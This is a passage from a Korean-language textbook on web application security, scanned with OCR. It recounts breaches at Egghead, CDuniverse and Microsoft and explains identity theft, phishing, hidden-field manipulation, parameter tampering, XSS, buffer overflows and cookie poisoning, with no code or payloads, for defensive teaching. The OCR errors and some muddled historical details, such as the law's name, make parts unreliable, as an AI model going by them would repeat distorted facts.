백한 일련의 증거물을 가지고 있다고 말하면서 공격이 있을 때마다 자기 보안전문가림에 
그것을 차단해 버 릴것을 요구하였다. Egghead 는《정상》이 나《리면》은 사기 령역내 
라고 볼수 있는 사기활동으로 의심이 가는 자료기지에 적어도 7500개의 등록자리 
( account ) 가 들어 있었다고 주장하였다. 그것은 말단사용자들에게 의심을 샀다. 만일 
Egghead 가 자기들의 내부보안이 공격 발생 당시 끼 여 들기 ( break - in ) 를 미 리 막아 버 렸 
다고 한다면 어떻게 사기활동이 자기 싸이트에 대한 공격결과로서 일어 났다고 말할수 
있는가? Egghead 는 많은 dot . com 회사들이 하듯이 사용자들의 개인정보를 기억한 자료 
기지를 보관하고 있다. 

자료기지는 이름，주소, 전화번호，만기날자를 가진 신용카드번호 그리고 전자우편 
주소들과 같은 정보들로 이루어 진다. 사건이 일어 났을 때 완전조사에 앞서 Egghead 
는 사기행위로 인한 피해를 최소로 하도록 신용카드회사들에 통지를 보냈다. 신용카드회 
사들은 바로 Egghead 에서가 아닌 다른 회사에서 고객들의 신용카드사용에 대하여 차례 
로《블 로크》 화하였다. 부정활동을 하는 극히 위험 한 카드소유자들을 실제 로 통보한것 
은 Egghead , com 회사가 아닌 다른 많은 은행들이였다. 

신용카드도적질을 포함한 최초의 공격은 2000년 1월에 발생하였는데 그의 공격대상 
은 eUniverse 회 사가 운영 하는 직 결 식 ( Online ) 음악상점 인 CDuniverse . com 이 였 다. 사 
건이 일어 났을 때 인터네트에서 지금껏 없었던 제일 큰 신용카드강탈이 있었다. 

공격은 매크스 ( Maxus ) 라는 이름을 단 로씨야의 18살난 해커 가 한 일이 였다. 명백 
히 매크스는 CDuniverse 에 로 들어 가는 입구점을 얻 었으며 그들에게 보안구멍을 통지 
하였다. 그는 그들한테 무엇이 정확히 구멍인가를 통지하는데서 실수하였다(대신에 그는 
CDuniverse 로부터 10만$를 강랄하였다). 그리고 매크스는 CDuniverse 에 자기는 돈을 
교환하는 어디에 보안구멍이 있는지 말할수 있다고 통보하였다. CDuniverse 가 강랄하 
려는 수량을 지불하는것을 거절하자 매크스는 CDuniverse Web 싸이트를 역해 킹하여 수 
천개의 신용카드번호들을 훔쳐 냈다. 또한 신용카드번호들외에도 이름과 주소，만기날자 
들을 얻 는데 성 공하였 다. 매 크스는 역 시 수천 개 의 CDuniverse 등록자리 이 름들과 통과암 
호들을 엄을수 있었다. 매크스는 그때 자기는 CyberCash 의 ICVerify 라고 부르는 보편 
화된 신용카드처 리용응용프로그람을 쳐부실수 있다고 주장하였다. 그는 이 해 킹으로 30 
만레코드이상의 자료기지를 엄었다. 

그는 모든 정 보를 얻 은후 그것 을 자기 가 가지 고 있는 Web 싸이 트에 실제 로 공개하 
였으며 신용카드정보를 사용할수 있다고 볼수 있는 일반군중에게 그들의 희망에 따라 그 
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것을 알려 주었다. 당국이 내용을 알아 차리고 Web 싸이트가 차지한 ISP 를 통하는 싸이 
트들을 재빨리 차단하였다. 한편 CyberCash 공무원들은 ICVeryfy 생산품이 공격을 당할 
론의대상이 아니 라고 하면서 해커들의 보고를 공식 반대 하였다. 매크스를 붙잡지 못했다. 

이러한 공격들이 매일 출현하지는 않지만 그들은 사용자와 개발자모두를 보다 조심 
스럽 게 일 하도록 각성시키 는데 필 요한만큼 출현하였 다. 사용자들은 인터네 트보안감시원 
( Watchdog ) 그룹에 의하여 립 증된 싸이 트들을 취 급함으로써 보다 좋은 안전을 보장 받 
을수 있다. 

2) 신분도적 

해 킹 의 다른 일 반적 리 유는 신분도적 질 (Theft of Identity ) 을 위 해 서 이 다. 정 보가 
우편봉사국 ( U . S.Postal Service ) 을 통하는 우편물을 훔침 으로써 얻 어 졌든 인테 네 트를 
거쳐 훔쳐 졌든지간에 차이는 없다. 신분도적질을 통하여 공격자들은 자기들이 겨냥한 
피해자에 대한 확고한 개인정보조각들을 얻어 내려고 한다. 이 정보는 피해자이름외에 
보통 다음의 임의의것이 될수 있다. 

• 주소 

• 사회보안번호 

• 신용카드정보 

• 출생 날자 

• 운전면허증번호 

이 위험한 정보조각들은 공격자가 피해자들의 신분을 추측하는데 도움을 줄수 있다. 
신분도적 은 흔히 상품을 구입 하기 위하여 어 떤 다른 사람의 신용을 리 용하는데 서 자주 
생 기 였다. 사용자이 름과 사회보안번호 혹은 사용자이 름과 신용카드정 보는 때때 로 비 법적 
해커 가 피 해 자에게 상처를 입 히기 위한 충분한 정보로 될것 이 다. 

비 법적해커는 은행레코드에서와 같이 모든 통보조각들이 집중된 어떤 장소를 찾을수 
있다. 또한 은행레코드자료기지에 대한 해킹이 노리는 다른 한가지 중요한 문제는 현재 
의 은행 거 래 정 보를 제 공 받는것 이 다. 

사회적공학은 개인정보를 흉칠수 있는 또 다른 방법으로서 개발자들의 권한밖에서 
완전히 진행된다. 이것은 콤퓨터사기에 사람을 요소로 참가시킨다. 실례로 해커는 ISP 
로부터의 공보를 위조할수 있으며 ISP 가 주었던 신용카드정보가 자기들 체계에서 이미 
소거 되였다고 충고하는 등록자리 소유자들에게 전자우편물을 보낼수 있다. 그들은 등록자 
리레 코드들을 갱 신하기 위하여 신용카드정 보를 거 꾸로 보낼것 을 등록자리소유자들에 게 
문의한다. 전자우편은 그것 들이 ISP 로부터 온것 처 럼 보일것 이며 많은 소비 자들은 아마 
아무것도 틀린데가 없다고 생각할것 이 다. 

만일 사용자가 이와 같은 형태의 범죄의 피해자라고 할 때 드물기는 하지만 자기의 
개인정보에 접근하고 있는 해커와 함께 운명이 끝난다. 즉 그것은 일반적으로 파멸된 그 
의 신용과 함께 끝나며 그에 대 한 오랜 법정싸움으로 끝난다. 신분도적질은 Web 응용프 
로그람해 커 방지 를 위한 한가지 가장 좋은 근거 로 될 수 있 다. 소비 자가 인 터 네 트를 리 용 
하거나 사용자가 개발한 Web 싸이트에 있을 때마다 사용자는 매번 신용 받은 그 어떤 
사람의 방문이 있다고 보고 보안대책을 세울 필요가 있다. 
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3) 정보도용 


정보도용 (Information Piracy ) 은 정 보를 훔칠 단 하나의 목적 을 위 하여 자료기지 들 
에 대한 해킹에 리용된다. 이 정보는 사용자정보로 꽉찬 자료기지로부터 시장경쟁을 물 
리치는데 리용되거 나 바로 시장경 쟁 이 벌어 지 고 있는 곳을 찾는데 리용될수 있는 독점 
정보에 이르기까지 실로 다양할수 있다. 또한 비법적해커들은 거인산업이 하고 있는 일 
이 란 무엇 인가에 대 한 내 부비 밀 정 보를 맛 보는 쾌 감을 위하여 특정한 Web 싸이 트나 자 
료기지를 목표로 삼을수 있다. 

보건대 최근에 있은 가장 널리 알려 진 정보도용실례는 거 인산업 Microsoft 회사를 
들수 있 다. 2000년 10월 Microsoft 회 사는 자기 의 《 보안방위 들이 해 커 들을 위 한 계 약기 
간에 돌파되였고 채용되 였다.》라고 하면서 보안돌파를 보고하였다. 해커들은 실제 로 석 
달을 기한으로 무엇인가 있다고 보아 지는 Windows OS 와 Off ice 쏘프트웨어 묶음 원천 
코드에 접 근하였 다. 초기 에 Microsoft 회 사는 쏘프트웨어 가 있을수 있는 변화를 가져 왔 
다고 보았지 만 완전조사를 진행한후 코드에 생 긴 변화들은 없 다는것 을 확인하였 다. 
Microsoft 회사는 이 공격이 자기들이 FBI 에 대한 공격을 완전조사하여 보고하게끔 꼼꼼 
하게 준비된 공격 이 라는것을 알아 냈다. Microsoft 회사는 자기들의 지적속성을 보호하 
기 위하여 법 실행공무원들이 법을 엄격 히 지 키도록 하였다. 

그러면 이 공격이 어떻게 일어 났는가? 침입자는 한 종업원의 사택에 있는 를퓨터를 
통해 들어 왔는데 그 콤퓨터는 회사의 망과 접속되여 있었다. 이때 우리가 이미 론의한 
QAZ 트로얀이라고 부르는 응용프로그람이 해 커 들로 하여 금 검 출되 지 않는 접 근을 하게 
하면서 《뒤문》을 열도록 하는 공격에 리용되였다. 

해커들은 Microsoft 회 사의 망안으로 들어 온 다음 내부통과암호들을 모으는 다른 
도구들을 매우 훌륭히 사용하였다. 보안돌파는 불규칙적인 새로운 등록자리들이 
Microsoft 회 사망내 에 서 나타나기 시 작한 때 에 야 비 로소 발견되 였 다. 

해커 들은 로씨야의 빼째 르부르그전자우편주소로 거 꾸로 흔적 을 남겼다. 통과암호들 
도 똑 같은 전자우편주소에 전송되였다. 해커들은 종업원들처럼 자세를 취하면서 먼 장 
소로부터 Microsoft 회사의 망에 은밀히 접근하였다. 이 공격의 목적은 원천코드를 훔치 
는것이였으며 기본은 배상금지불에서 Microsoft 에서 온 사나이가 주로《주인행세를 하 
였 다.》는 그것 때 문이 였다. 

견해들에 의하면 해커들은 훔친 원천코드를 팔려고 분주히 시장주위를 맴돌았는데 
유감스럽 게 도 공격 째임 새 가 그 준위 에 오르지 못했 다. 그것 은 이 공격 이 많은 해 커 규범 
들을 거쳐 성공준위에 올랐기때문이다. 결국 이 해커들은 많은 해커들속에서 계약된 기 
간이 라고 말하는 석달동안 Microsoft 원천코드에 접 근하였 다는것 을 알수 있 다. 

하지만 해커들은 일반적으로 어떤 사람의 원천코드에 걸려 비칠거리는 일이 거의 없 
다. 만일 정 보가 독점 적 인 정 보 (proprietary information ) 라고 하면 그것은 흔히 잘 보 
호되여 있다. 경우를 보면 정보도용은 때때로 다른 형태의 해킹이 일어 나게 하는 촉매 
작용을 한다. 

Microsoft 원천코드를 보고 있는 해커들인 경우에 기본적인 공격은 침입자들이 
Microsoft 회사망에 접근하는데 유리하게 진행되여 야 하는메 그것은 대체 로 트로이목마 
이다. 그러면 망으로 권한 없는 접근을 취하는 다른 방법들에로 계속 나가보자. 
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제 4 절. Web 응용프로그람보안위협에 대한 인식 


Web 응용프로그람들에 대한 공격들을 방어하기 란 상당히 힘들다. 많은 회사들이 여 
전히 방화벽 을 적재한 항비루스쏘프트웨어 와 최 근의 침 입검 출쏘프트웨어들을 리 용하여 
망준위로부터 자기들을 지키기 위하여 여전히 힘 쓰고 있으며 대책을 세워 나가고 있다. 
응용프로그람보안은 전통적 인 침 입 검 출 (intrusion detection) 과 방화벽 (firewall) 들로써 
일반적으로 해결할수 없다. 그것들은 아직까지도 이 형태의 보안에 내재하고 있는 곤난 
을 타파할수 있게 설계되지 못하고 있다. 

응용프로그람준위 공격 들은 DDoS 공격 혹은 비 루스위 협 과 갈은 대 표적 인 망공격 들과 
다른데 차이는 그것들이 본질적으로 임의의 직결 (online) 사용자로부터도 만들어 질수 있 
다는것 이다. 응용프로그람해킹은 침입자로 하여금 많은 Web 싸이트들에서 보통 나타나 
는 취약성 (valnerability) 들의 우점을 취함수 있게 한다. 응용프로그람들은 대체로 회사 
가 이름과 통과암호 그리고 신용카드정보들을 포함하는 고객정보들을 비롯한 민감한 자 
료들을 건사하는 장소에 함께 보관하기때문에 이 장소가 비법적공격의 흥미 있는 구역으 
로 된다. 

그러면 Web 응용프로그람들에 생기는 다른 종류의 보안위협들은 무엇인가? 숨김조 
작，파라메 터 변경，교차싸이 트 스크립 트작성，완충기 자리 넘 침 그리 고 Cookie (무키 ) 중독 
등이 그러한 보안위 협들이다. 앞으로 나가면서 이 책 에서 보여 주겠지만 우리 는 Java, 
XML, ColdFusion 등과 같은 발간물들을 론의하면서 보다 언어지향적인 취급방법에 화 
제거리를 돌린다. 서 로 구별된 매 소제목들은 알려 진 취 약성들과 특정한 매 언어 에 대 
한 해결책들을 론의한다. 

1. 숨김조작 

숨김조작 (Hidden Manipulation) 은 공격자가 물건값들과 선불리자률과 같은 전자상 
거래 Web 싸이트에 다르게 숨겨 진 양식 (form) 마당들을 변화시킬 때 일어 난다. 놀랍게 
도 이 형 태의 해 킹은 현재 일반적 인 Web 열 람쏘프트웨어와 함께 리용할수 있는 오직 보 
편적인 HTML 편집기만을 요구한다. 해커는 항목에 있는 물건값이나 항목렬을 바꾼 다 
음 자기 가 선정 한 물건값으로 이 항목의 상품들을 구입하게 한다. 

2. 파라머 IE 나변경 

파 라메 터 변 경 (Parameter Tampering) 을 보면 하이 퍼 련 결 (HyperLink) 내 에 매 몰된 
CGI 파라메터들의 정확성을 확신하는데서 실패가 싸이트에로의 침입에 리용될수 있다. 
파라메터변경은 체계지령들을 실행하는것과 마찬가지로 보안이 잘 안되면 엄중한 결과를 
초래할수 있는 값들을 굴복시 키 는 매 수이다. 공격 자는 필요한 통과암호들과 가입 등록 
(Login) 들이 필요없이 보안정보에 접근할수 있다. 

3. 교차싸이트스크립트작성 

교차싸이트스크립 트작성 (CSS:Cross-site Scripting) 은 비법적 인 프로그람(스크립트) 
들을 동적 으로 발생 한 Web 페 지 들에 삽입할수 있는 능력 을 가진다. 스크립 트들은 고객 
봉사폐지에 설명문을 단것처럼 합법적인 자료로 위장하며 다음 이 위장물은 사용자의 
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Web 열 람기 에 의하여 실행된다. 결과는 가장 신뢰하는 정 보와 잠재 적 으로 타협하거 나 
콤퓨터에 벌을 주는 대파피 이 다. 

비 법적해커는 거의 모든 Web 싸이트에 의 하여 발생된 결과적 인 페지 에 로 파괴적 인 
스크립트들을 넣기 위하여 CSS 를 리용한다. 일부 문제거리는 열람기가 비법적코드를 포 
함하는 페지를 내리적재할 때 스크립트의 유용성을 검사할수 있는 가능성을 가지지 못한 
다는것 과 바로 스크립 트의 자동실 행 을 실 현한다는것 이 다. 

스크립트가 사용자의 콤퓨터에서 직접 실행되기때문에 이 비법적인 스크립트들은 통 
과암호들을 훔치 는데 로부터 하드구동기 를 재초기 화하는데 까지 기 대 에서 아무것 이 나 다 
할수 있게 프로그람화될수 있다. 

성공적인 CSS 공격을 막는 가능한 해결책은 말단사용자가 Web 열람기에서 스크립트 
언어능력을 가지지 못하게 하는것이다. 이 해결책을 무효로 만들자면 가장 많은 Web 싸 
이트들이 말단사용자들이 리용하려고 하는 속성들을 창조하는 스크립트들을 믿도륵 하여 
야 한다. Web 열 람기 에서 스크립 트작성언어 를 허 용하지 않는것 은 사용자들이 신용하는 
싸이트들의 이 속성에 접근하는것을 막을수 있게 한다. 

4. 완충기자리넘침 

완충기 자리 넘 침 (Buffer Overflow ) 공격 은 조작하려 고 작성 한 프로그람보다 더 많은 
자료를 고의적으로 밀어 넣어 진행한다. 완충기자리넘침공격들은 완충기에 기억되는 입 
구용량에 비한 기억한계가 부족한 검사를 채용한다. 넣고 남은 자료는 자기를 받아 들이 
도록 옆에 있는 기억기로 자리넘침하므로 결국 프로그람의 일부 명령들이 들어 가 있는 
기억기의 또 다른 구역을 재쓰기할것이다. 효과는 우발적인데 응용프로그람이나 그것이 
달리고 있는 체계를 갑자기 멎 어 버리게 할수 있다. 

새롭게 끼여 든 값들은 새로운 명령들일수 있으므로 이것은 입구가 무엇이든 관계없 
이 겨냥한 목표콤퓨터에 대한 조종을 공격자가 할수 있게 한다. 바로 이것이 매 체계에 
대한 완충기자리넘침을 하게 할수 있는 취약성이다. 실례로 만일 해커가 256개 문자보다 
더 긴 주소를 리 용하여 Microsoft OutLook 사용자에게 전자우편을 보내면 그것은 완충 
기에 자리넘침을 초래할것이다. 수납자는 이러한 형태의 공격이 성공할수 있는 전자우편 
을 언제나 열지 말아야 한다. 이 형태의 공격은 통보문을 봉사기로부터 내리적재하자마 
자 성공한다. Microsoft 회사는 이 공격 이 2000년 10월에 발견된후 이 론의점에 대한 덧 
대기를 재빨리 끝냈다. 

5. Cookie 중독 

해커 가 《Cookie Poisoning (무키 중독)》을 리 용할 때 사용자는 보통 처 음으로 
Web 응용프로그람에 대한 접근을 권한 발은 어떤 사람이다. 해커는 보통 등록된 고객이 
며 물음표가 붙은 응용프로그람과 친한다. 해커는 그 사람의 콤퓨터에 기억된 Cookie 를 
변경시킬수 있으며 Web 싸이트에로 그것을 돌려 보낼수 있다. 응용프로그람은 Cookie 에 
대한 변화들을 바라지 않기때문에 그것은 중독된 Cookie 를 처 리할수 있다. 효과들은 보 
통 전자상거래싸이트에 있는 물건값들을 변화시키거나 그 싸이트에 가입등록한 사용자 
혹은 해커가 선정한 임의의 다른 사람의 신분을 변화시키는것과 같은 고정된 자료마당들 
을 변화시 킨다. 다음 해커는 어떤 다른 사람의 등록자리정보를 리 용하여 거 래를 진행할 
수 있다. 실제로 이와 갈은 해킹이 실현될수 있는 가능성은 실제로 Web 개발자의 몫인 
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암호화기술이 빈약한 결과때문이 다. 

또한 이와 같은 형태의 해킹들이 나르는 안정여유는 놀랄만하다. 이와 같은 실례들 
은 개발자들이 자기의 응용프로그람들을 개발하는데서 왜 응용프로그람보안을 취함 필요 
가 있는가를 보여 주는 충분한 실례로 된다. 

파라메터들을 검증하고《무법적인》코드를 조사하는 체계들에 검사들을 붙이자면 
자기들의 정보에 더 많은 보안을 주려고 애 쓰는 사용자들을 식별하고 인증하는 다른 보 
안대책들을 보충완성해 야 한다. 

사용자들이 코드나 가동환경흠집 (pla 社 orm flaw ) 들을 채 용하여서는 목적 하든 무심 
결에 하든 Web 응용프로그람들을《속일수》없다는것을 확신하도록 주의를 주는것은 
직능상으로뿐아니라 보안을 잘하기 위해서도 극히 중요하다. 


제 5 절. 해커라고 생각하면서 끼여들기를 막기 


인 터네 트 즉 Web 응용프로그람작성 이 점 점 더 욱더 개 선되 고 있 다고 볼 때 가능한 
대책은 보다 빈름 없는 보안을 세우는것이다. 매일 벌어 지는 주되는 일부 업무들에는 
이 미 주식 거 래 (stock trading ) 와 세 금철정 리 (tax filing ) 가 포함되 여 있다. 업 무들은 어 
떤 때에는 보안에 크게 의존하는 투표와 높은 리해관계를 동반하는 호상작용기능들을 더 
포함할것 이 다. 

개발자로서 보안에 집중하는 가장 좋은 길은 해커 라고 생각하고 시작하는것 이 다. 즉 
해커들이 끼 여들기와 Web 싸이트들을 공격 하는데 리 용하는 많은 방법들을 시험 해 보고 
이와 갈은 실기들을 공격을 막는데 활용해 야 한다. 또한 자기 코드를 기능상에서 검사해 
야 한다. 다시 말하여 한걸음 앞서 보안에 대하여 검토하며 자기가 아무 생각없이 지나 
칠수 있는 일부 가능한 구멍들로 인한 끼 여들기 에 대 하여 검사한다. 

또한 자기 코드에 로 해 킹할수 없 다는 질 보증 (QA : quality assurance ) 을 완전히 믿 
지 않는것이 좋다. 그것은 대체로 개발자들이 가장 훌륭한 해커들로 되기때문이다. 

여기서 어떻게 코드가 동작하는가 또 명백한 명령문 ( statement ) 을 가지고 왜 한본 
새로 코드화되지 않고 다른것들은 다른 방법으로 코드화되였는가를 반드시 리해해야 한 
다. 역시 여 러가지 종류의 프로그람작성언어들에 대 한 지식을 소유하여 야 하며 어떻게 
망보안이 작업하는가를 알고 있어야 한다. 이 모든 정보들은 해커가 공격을 계획할 때 
써먹는 인자들로 된다. 

Web 응용프로그람들에 대 한《 총적보안》을 고찰하는데 서 최 량적 으로 3가지 서 로 
다른 준위들을 고려해야 한다. 이 준위들을 연구하기 위한 림들과 그들의 전망과제는 다 
음과 갈다. 


_ 개 발림 

• 보안위 협 과 취 약성 들에 대 하여 그대 로 유지한다. 

• 자기 프로그람작성언 어 들과 관련 한 정 보를 그대 로 유지한다. 

• 임의의 개발작업을 시작하기 앞서 자기 코드에서의 보안에 대해 계획한다. 

• 작성한 코드에 취약성들이 있다고 가정하고 여러번 검사한다. 해커들은 코드를 
변경시키기 위하여 반복해킹을 시도할수 있는데 끝나는 때는 보통 공격이 성공 
한후라든가 아니면 그들이 더는 거기서 코드의 보안을 돌파할 길이 없다고 절 
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대적으로 납득할 때이다. 사용자가 명백한 흠집을 제때에 알아 보지 못하면 코 
드가 보안이라는 의미를 모른다는것을 의미한다. 즉 이것은 틀림없이 사용자가 
코드에로 해커가 어떻게 끼여 드는가를 아직 모르고 있다는것을 의미한다. 

• 협조자들에 의하여 코드를 심사한다. 철저한 코드심사도 성공적인 해킹시도로 
부터 자기 회사를 보존하지 못하기때문에 해커 라고 생각하고 리용할수 있는 의 
미를 담은 코드심사에 대해서가 아니라 그것들의 성공적인 공격가능성에 대하 
여서만 학습한다. 

• 내부에 스며 들기 위한 공격들을 시도함으로써 Web 응용프로그람을 위해 작성 
한 코드에 대 한 규칙 적 인 보안시 험 들을 진행한다. 

• 제품의 《복사》와《개 발》이 명백 히 구별된 판본조종쏘프트웨어를 리 용한다. 

• 코드작성규칙들을 따른다. 

• 이전 개 발자들한테서 시 작된 뒤 문들을 살피 기 위 하여 코드심사를 진행한다. 

逐) 질보증림 

• 제 한검 사를 진행한다. 

• 탐지 기 ( sniffer ) 와 같은 도구들을 리 용하여 강조검 사를 진행 한다. 

• 조종열쇠 (control key ) 삽입과 같은 보통 잘 사용하지 않는 기능들을 결합한 
특별검사를 진행한다. 

• 경 로를 바꾸는 검 사를 진행한다. 

• 망준위로부터의 스며들기검사 (penetration testing ) 를 진행 한다. 

• 기교를 허 락한다면 고의적 인 뒤문열기들을 살피는 코드심사들을 진행한다. 

③ 정보보안림 

• 정보보안은 응용프로그람준위에 있는 개발자들과 잘 협동하여 망준위와 개별적 
인 워크스테이션 ( workstation ) 준위로부터의 보안을 취급할것이다. 

• 현재 의 비 루스，월， Web 응용프로그람위 협 들을 그대 로 유지한다. 

• 보안취약성 이나 위협들과 싸울수 있는 도구들을 그대로 리용한다. 

• 제대로 보안계획을 세운다. 

• 알려 지지 않은 임의의 취약성에 대하여서는 망에서 규칙적인 보안시험들을 진 
행 한다. 

• 비루스방지와 OS 봉사덧대기를 회사전체가 이미 하였는가를 확정한다. 

• 개 별적 인 사용자들이 워 크스테 이 션준위 에서 보안을 유지 하는가를 검 사한다. 

• 방화벽과 갈은 침입검출체계들을 설치한다. 

• 망장치 보안덧 대 기 (메 꾸기 )도구들을 그대 로 유지한다. 

덧대기도구는 방화벽과 침 입검 출도구와 갈은것을 의미한다. 

가장 좋은 보안을 위 해서는 기회 를 놓치지 말고 론의 한 3개준위들의 기능을 잘 
리용해야 한다. 적당히 한개의 기능만을 단순히 사용한다면 보안을 충분히 느낄만한 
아무런 보호도 제공 받지 못할것 이며 이 방법으로 보안을 조작하는 회사들에서는 보 
안을 전혀 느끼 지 못할것 이 다. 해 커 들이 망이 나 응용프로그람들에 스며 들기 위하여 
리 용하는 각이한 모든 방법 들을 가지 고 림 은 해 커 들과 동등한 솜씨 를 발휘할 필 요가 
있 다. 
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해킹은 시간의 흐름과 함께 진화하였다. 캐픈 크란취 ( Cap’n Crunch ) 와 같은 많은ᅫ 
이름 모를 해커들이 마 벨 (Ma Bell ) 의 전화회선들에 끼여 들었다. 처음에는 흥미와 히"' 

기 심 으로서 시 작한것 이 실제 로 쉽게 해 킹 으로 변하였다. 콤퓨터 해 킹은 사실 ARPANET 
의 출현과 함께 세상에 나타났으며 개인용콤퓨터 그다음은 인터네트와 함께 발전하였다. >3 

기술의 진보는 해커공동체에 의해 생긴 결투들과 직접적인 관계를 가진다. 용어《해 • 

커》는 그에 대한 리해에 따라 그리고 이름이 어째서 붙는가에 따라 수많은 의미를 담고 
있다. 우리는 비법적인 해커와 도덕적인 해커사이 차이를 잘 알아야 한다. 비법적해커는 
취 약성 을 찾고 그것 을 채 용할 목적밑 에 해 킹한다. 그러 나 보다 많은 도덕적해커 들은 적•과 
지 않은 사람들한테서 발견되는 취 약성 들을 밝혀 내 기 위하여 그 길을 선택할수 있다. j 
해커가 흔히 동기로 삼은 많은것들을 보면 보안구멍，채용가능한 코드 혹은 아직 다른 
사람에게 발견되지 않은 보안에서의 돌파구를 찾기 위한 결투때 문이 다. 해커의 방법은 。; j 
그것이 일어 난 원인에 따라 다양하지만 우리모두에게 친숙해 진것들은 DDoS 공격，비 ，‘ j 
루스공격, 웜공격들인데 개발자들에 의하여 보다 직접적으로 리용될수 있는 공격들은 완^^ 
충기 자리 넘 침 공격， Cookie 중독과 교차싸이 트 스크립 트작성 이다. 

청부업 이 든 완전선발리용이든 또 망지향이든 개 발지향이든 관계 없 이 보안전문가를. . 
선발하는것은 보안방위를 위한 옳은 처사이 다. 누구든지 데 려 오기 앞서 그한테서 보안。^ 
전문가의 역할이 무엇이며 좋은 보안계획이 제대로 서 있는가 하는 문제를 잘 알아 봐야^:노 
하며 다음은 목적을 달성하기 위한 시간표화된 심사면담들을 규칙적으로 가지는것 이 중. 

요하다. 


요 약 


1. 해킹의 간단한 력사 

- ARPANET 가 나온 1960년대에 첫 대륙횡단콤퓨터망이 형성되였는데 사실 이것을 
해커 들속에서는 서로 1세대 라는 말로 통한다. ARPANET 는 작업규모가 작은 고 
립된 협회들에서보다 큰 하나의 그름으로서 해커들이 서로 결합하여 실제로 일할。 
수 있게 해준 첫 기회였다. 

- 1970년대 중엽 에 Apple 콤퓨터 회 사를 창시한 인 물들인 스리 브 워 즈니 아크 ( Steve ，^ 
Wozniak ) 와 스터 브 죠브스 (Steve Jobs ) 는 전화체 계 들에 로 해 킹 하는데 리 용할 
《Blue Boxes (푸른통)》장치 들을 만든것 으로 대 단한 인기 를 모은 드래 퍼 와 함께 ’ 
일 하였다. 죠브스는 《Berkley Blue (버 크레 이 불르)》라고，워 즈니 아크는 《 Oak ; J 
Toebark (오아크 토에마크)》라는 가명 을 쓰고 활동하였 다. 두 사람은 전화해 킹 ᄊ 
즉 프레 킹 ( Phreaking ) 의 당대 시대 에서 주요한 역할을 놀았다. 

- 1986년 에 열 린 대 회 에 서 통과시 킨 법 을《 련 방를퓨터 사기 와 람용행 위 ( FCFAA ) > 
라고 불렀다. 

- 대회에서 법이 통과된지 얼마되지 않아 정부는 회의후 첫 거대한 해킹을 기소하였 — 
다. 로버트 모리스 (Robert Morris ) 는 1988년에 이 인터네트웜때문에 유죄를 선언# 
받았다. 




2. 무엇이 해커를 추동하는가 


- 나쁜일: 해커가 모으는 지식은 힘과 위신을 떨치는것이다. 

- 결투: 취 약성들을 발견하는것 , 표식 ( mark ) 을 조사하는것 혹은 그 누구도 찾지 못 
한 구멍을 찾아 내는것은 지적결투이다. 

- 래만: 목표찾기는 흔히 특별한 장소에서가 아니라 넓은 범위에서 조사들을 하여야 
하는데 우연히 나타나는 취약성을 발견하자면 시간을 많이 바처야 한다. 

- 보복: 코드 , 망 혹은 다른 형태의 보호정보에 대하여 구체적으로 아는 실업 당한 
이전 종업원은 기발한 자기 지식을《처형》수단으로 리용할수 있다. 

- 도덕적인 해커와 비법적인 해커에 대한 정의사이에는 해킹의 임의의 형래와 관련한 합법적 
인 문제들이 론의된다. 개발자는 어떤 사람이 자기의 포구들을 검사하는데 또 어떤 
방법 으로 채 용할수 있는 약점 을 탐색할 때 주변을 뒤 지 는데 진짜로 동의하는지 . 

- 보안전문가는 훈련의 제공, 계획작성 그리고 앞으로의 취 약성들을 막기 위한 판단 
을 하는 동안 현재 있는 론의점들을 그대로 고착시키는데 필요한 보검을 제공해야 
한다. 물론 이것은 보안전문가가 앞으로 있을수 있는 매번의 공격으로부터 자기 
회사를 완전히 지킬수 있다는것은 결코 아니다. 

3. 현 시기의 공격형태 

- Microsoft 회사가 무릎을 끓었던 2001년 2월에 일 어 났던 DOS/DDoS 공격은 최근 
에 있은 해킹의 한가지 대표적인 실례이다. 해커들에 의한 공격은 인터네트산업에 
보다 더욱더 집중되는데 해커들은 자기들에게 반박할수 있는 증거불이 있다고 볼 
때에는 보다 더 많은 싸이트들을 조종할수 있다. 

- 전통적 인 DDoS 공격들은 주로 봉사기준위에서 일어 났지만 역시 본질에 있어서 
봉사거 부 ( DoS ) 공격 인 완충기자러넘 침 공격 을 가지 고 응용프로그람준위 에 서 도 일 어 
날수 있다. 

- 비루스들은 발진하도록 설계되였고 검출을 교묘하게 피하도록 설계되였다. 임의의 
다른 를퓨터프로그람과 마찬가지로 비루스는 기능화되여 실행되여야 하며 (이것은 
콤퓨터 기억 기 에 적재 되 여 야 한다는것 을 의 미한다.) 다음은 콤퓨터 가 비 루스의 명 
령들을 따라 가야 한다. 이 명령들이 바로 비루스의 부가짐으로서 참조된다. 

부가짐은 자료파일들을 파괴시키거나 변화시킬수 있으며 통보문을 현시하거나 조 
작체계가 오동작하게 할수 있다. 

- 개발자가 비루스들과 꼭 같은 월공격을 완전히 막을수 있는것은 결코 아니다. 아 
무리 해도 코드는 개발자의 기대 혹은 말단사용자의 기대에서 월공격을 막을수 있 
게 빈름없이 짜질수 없다. 

- Java 애 플레 트들, JavaScript 그리 고 ActiveX 조종체 류형 의 이 동코드응용프로그람 
들은 정보를 배포하기 위 한 유력한 도구들이다. 한편 그것들은 역시 비법적 인 코 
드를 전송하는 유력 한 도구이 기 도 하다. 악질 ( Rogue ) 애 플레 트들은 스스로 발진 
하지 못하며 비루스들이 하는것처럼 자료를 단순히 더럽히지는 않는다. 그러나 대 
신에 그것들은 자료훔치기 나 체계를 불안정하게 만들도록 설계된 가장 흔히 있는 
특정의 공격들이다. 


- 사용자이 름과 사회 보안번호，신용카드정보얻 기는 비 법적 해커 가 피 해 자에게 상처 를 

입히는데 필요한 충분한 정보로 된다. 비법적해커는 은행등록카드들과 같이 정보 I vtl 
들이 집중된 어떤 위치에서 모든 정보조각들을 찾을수 있다. 


4. Web 응용프로그람보안위협에 대한 인식 


- 응용프로그람해 킹은 침입자에게 많은 Web 싸이트들에서 보통 일어 나는 취 약성들 
의 우점을 취할수 있게 한다. 왜냐하면 응용프로그람들은 대체로 이름과 통과암호 
신용카드정보를 비롯한 고객정보와 같은 자기의 비밀자료를 보관하는 장소에 있기 
때문에 이 장소가 비 법적공격의 흥미 있는 구역 이 라는것은 명백 하다. 

- 숨김조작은 공격자가 물건값과 선불리자률들과 같이 전자상거래 Web 싸이트에 다 
르게 숨겨 진 양식파일들을 변화시킬 때 일어 난다. 놀랍게도 이 형태의 해킹은| 
현재 대 중적 인 Web 열 람쏘프트웨어 들과 함께 리 용되 고 있는 일 반적 인 HTML 편집 
기 만을 요구한다. 

- 파라메 터 변 경 은 하 이 퍼 련결 내 에 매 몰된 CGI 파라메 터 들의 정 확도를 믿 지 못하게 
